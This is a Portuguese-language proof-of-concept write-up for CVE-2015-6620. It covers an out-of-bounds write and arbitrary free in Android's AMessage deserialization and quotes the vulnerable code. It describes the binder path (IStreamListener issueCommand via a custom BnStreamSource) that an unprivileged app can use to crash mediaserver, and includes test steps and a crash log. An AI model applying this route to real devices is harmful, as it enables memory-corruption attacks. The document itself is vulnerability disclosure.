
POC para CVE-2015-6620, escrita arbitrária no unmarshal de AMessage
POC para um bug no CVE-2015-6620-1 (ANDROIDID-24123723), escrita arbitrária na desserialização de AMessage. Os dois bugs foram mesclados em um único CVE, e aqui está o POC para um deles.
##Explicação
533 sp<AMessage> AMessage::FromParcel(const Parcel &parcel) {
534 int32_t what = parcel.readInt32();
535 sp<AMessage> msg = new AMessage(what);
536
537 msg->mNumItems = static_cast<size_t>(parcel.readInt32()); //mNumItems can be set by attacker
538 for (size_t i = 0; i < msg->mNumItems; ++i) {
539 Item *item = &msg->mItems[i];
540
541 const char *name = parcel.readCString();
542 item->setName(name, strlen(name));
543 item->mType = static_cast<Type>(parcel.readInt32());
544
545 switch (item->mType) {
547 {
548 item->u.int32Value = parcel.readInt32();//overwrite out-of-bound
549 break;
550 }
...
65 void AMessage::clear() {
66 for (size_t i = 0; i < mNumItems; ++i) {
67 Item *item = &mItems[i];
68 delete[] item->mName; //maybe freeing the wrong pointer if i ran out-of-bound
69 item->mName = NULL;
70 freeItemValue(item);
71 }
72 mNumItems = 0;
73}
O msg->mItems é um array de tamanho fixo kMaxNumItems=64; no entanto, quando o AMessage é desserializado, o contador do loop pode ser definido muito além desse limite, levando a uma sobrescrita de memória ou a uma liberação arbitrária de ponteiro e, em seguida, à corrupção de memória.
Então, precisamos encontrar uma interface de binder que faça a desserialização do AMessage e que possa ser chamada por um aplicativo sem privilégios. Ao pesquisar, descobri que o IStreamListener->issueCommand é um callback que aceita transação de um cliente normal e é processado no lado do mediaserver. E ele construirá um AMessage a partir do parcel de entrada.
Para obter um IStreamListener, uma maneira é criar um BnStreamSource e fornecê-lo ao MediaPlayer->setDataSource; então, ao reproduzir, o MediaPlayer chamará o método setListener da sua implementação de BnStreamSource, fornecendo ao cliente um IStreamListener e comunicando os parâmetros de controle via AMessage. Então, fornecemos nosso AMessage falso aqui. Boom!
##Método de teste:
Compile o POC com o nome stream e execute com adb shell stream ts-file-name. Usei um arquivo de mídia TS para acionar o callback do binder por simplicidade, mas deve haver opções melhores.
##Exemplo de crash:
F/libc (17405): Fatal signal 11 (SIGSEGV), code 1, fault addr 0xdfe85000 in tid 17511 (streaming)
I/DEBUG ( 355): *** *** *** *** *** *** *** *** *** *** *** *** *** *** *** ***
I/DEBUG ( 355): Build fingerprint: 'google/shamu/shamu:5.1.1/LMY48I/2074855:user/release-keys'
I/DEBUG ( 355): Revision: '33696'
I/DEBUG ( 355): ABI: 'arm'
W/NativeCrashListener( 839): Couldn't find ProcessRecord for pid 17405
I/DEBUG ( 355): pid: 17405, tid: 17511, name: streaming >>> /system/bin/mediaserver <<<
E/DEBUG ( 355): AM write failure (32 / Broken pipe)
I/DEBUG ( 355): signal 11 (SIGSEGV), code 1 (SEGV_MAPERR), fault addr 0xdfe85000
I/DEBUG ( 355): r0 29685000 r1 d6d5d4d9 r2 b6802e74 r3 fff29685
I/DEBUG ( 355): r4 b6800000 r5 000003df r6 b6802e8c r7 c81fff19
I/DEBUG ( 355): r8 b6be24b8 r9 000003e2 sl b380bbac fp b6e65fd8
I/DEBUG ( 355): ip 0000000c sp b380bac0 lr b6e31b3d pc b6e31af6 cpsr 200f0030
I/DEBUG ( 355):
I/DEBUG ( 355): backtrace:
I/DEBUG ( 355): #00 pc 00041af6 /system/lib/libc.so (je_arena_dalloc_bin+41)
I/DEBUG ( 355): #01 pc 00041b39 /system/lib/libc.so (je_arena_dalloc_small+28)
I/DEBUG ( 355): #02 pc 000498b3 /system/lib/libc.so (ifree+462)
I/DEBUG ( 355): #03 pc 00012caf /system/lib/libc.so (free+10)
I/DEBUG ( 355): #04 pc 0000c943 /system/lib/libstagefright_foundation.so (android::AMessage::clear()+24)
I/DEBUG ( 355): #05 pc 0000c973 /system/lib/libstagefright_foundation.so (android::AMessage::~AMessage()+18)
I/DEBUG ( 355): #06 pc 0000c98d /system/lib/libstagefright_foundation.so (android::AMessage::~AMessage()+4)
I/DEBUG ( 355): #07 pc 0000ec55 /system/lib/libutils.so (android::RefBase::decStrong(void const*) const+40)
I/DEBUG ( 355): #08 pc 0003a679 /system/lib/libmediaplayerservice.so (android::sp<android::SharedLibrary>::~sp()+10)
I/DEBUG ( 355): #09 pc 0005bbeb /system/lib/libmediaplayerservice.so
I/DEBUG ( 355): #10 pc 0005be71 /system/lib/libmediaplayerservice.so (android::NuPlayer::NuPlayerStreamListener::read(void*, unsigned int, android::sp<android::AMessage>*)+216)
I/DEBUG ( 355): #11 pc 000580fb /system/lib/libmediaplayerservice.so (android::NuPlayer::StreamingSource::onReadBuffer()+50)
I/DEBUG ( 355): #12 pc 00058271 /system/lib/libmediaplayerservice.so (android::NuPlayer::StreamingSource::onMessageReceived(android::sp<android::AMessage> const&)+20)
I/DEBUG ( 355): #13 pc 0000c4c3 /system/lib/libstagefright_foundation.so (android::ALooperRoster::deliverMessage(android::sp<android::AMessage> const&)+166)
I/DEBUG ( 355): #14 pc 0000be45 /system/lib/libstagefright_foundation.so (android::ALooper::loop()+220)
I/DEBUG ( 355): #15 pc 000104d5 /system/lib/libutils.so (android::Thread::_threadLoop(void*)+112)
I/DEBUG ( 355): #16 pc 00010045 /system/lib/libutils.so
I/DEBUG ( 355): #17 pc 00016baf /system/lib/libc.so (__pthread_start(void*)+30)
I/DEBUG ( 355): #18 pc 00014af3 /system/lib/libc.so (__start_thread+6)
I/DEBUG ( 355):
I/DEBUG ( 355): Tombstone written to: /data/tombstones/tombstone_04